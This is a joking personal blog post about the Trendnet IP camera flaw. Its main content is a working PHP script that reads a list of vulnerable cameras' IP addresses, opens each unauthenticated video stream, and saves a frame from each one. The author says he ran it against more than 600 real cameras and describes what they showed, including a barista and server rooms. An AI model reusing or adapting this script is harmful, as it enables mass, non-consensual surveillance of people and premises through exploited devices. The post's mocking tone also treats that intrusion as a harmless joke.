Virtual Peeping Tomery For Tomorrow's Skynet

The BBC News Article about the Trendnet camera security flaw, and presumably the blog it references engaged my curiosity enough for me to play with it a bit.  Of course, having a large list of IPs to go through by hand is a bit lame. This blog has a nice method of aggregating, but is a bit heavier than what I wanted, which was just to see a single thumbnail for each exploitable camera.

In the end, I just used a list someone else did all the work in creating, and very messily modified someone's php code to do what I wanted.  This is exceedingly ugly, but it works well enough; it hangs on a few cameras, but I didn't figure out why, since it ate through 600+ without too much problem. The generated thumbnails are viewable easily enough with xnview.

Please do your part in informing the folks running these cameras that they're paving the way for humanity to be enslaved by the machines: we won't even be able to find solace behind the counter at a coffee shoppe, clinged to by a cute barista, and certainly won't be able to sneak into the server rooms, due to these inconsiderate people.  Based on the thumbnails I saw, not even remote ski resorts in the mountains will be safe from the omnipresent eyes of Skynet.

Damn you, Trendnet! Damn you, and your routers and little KVMs too!

My craptastic php script to iterate through a (hard coded file named urls.txt, containing one IP per line) list of Trendnet cameras and snag a thumbnail from each:

<?
ini_set('default_socket_timeout', 5);

if (!  $lines = @file("urls.txt")) 
    exit("ERROR: Url file not found.\n\n");

$urls_to_do = count($lines);
$progress = 0;

foreach($lines as $line) {
    $readtimedout = false;
    $parsed = parse_url($line);
    $outputname = $parsed['host'] . ".jpg";
    $boundary="\n--";
    $tline = trim($line);
    echo "Processing ( " . $progress . " of " . $urls_to_do . ") from " . $tline;
    $f = @fopen($tline,"r") ;
    if(!$f) {
        $err = error_get_last();
        echo "\nError: " . $err['message'] . "\n";
    } else {
        echo ".";
        stream_set_timeout($f, 5);
        stream_set_blocking($f, false);
        $r = "";
        echo ".";
        while ( substr_count($r,"Content-Length") != 2 && (strlen($r) < 128000)) {
            $r.=@fread($f,512); 
            if ( ! $r ) {
                echo "\n\tError: Read 0 bytes from URL. Passing on this one.\n";
                $readtimedout = true; 
                break;
            }
        }
        if (! $readtimedout ) {
            $start = strpos($r,'ÿ');
            $end   = strpos($r,$boundary,$start)-1;
            $frame = substr("$r",$start,$end - $start);
            echo ".";
            if (! $imgout = @fopen($outputname, "w"))
                exit("\nERROR: Couldn't open file for output.\n");
            echo "\nDebug: (probably) wrote " . fwrite($imgout, $frame) . " bytes to file.\n";
            fclose($imgout);
            fclose($f);
        }
    }
    $progress++;
}
?>

Reference:

Trendnet security cam flaw exposes video feeds on net

Trendnet Cameras - I Always Feel Like Somebody's Watching Me

Get Your Creep On

Get jpeg-frame from mjpeg stream with PHP

Vulnerable Trendnet IP Camera List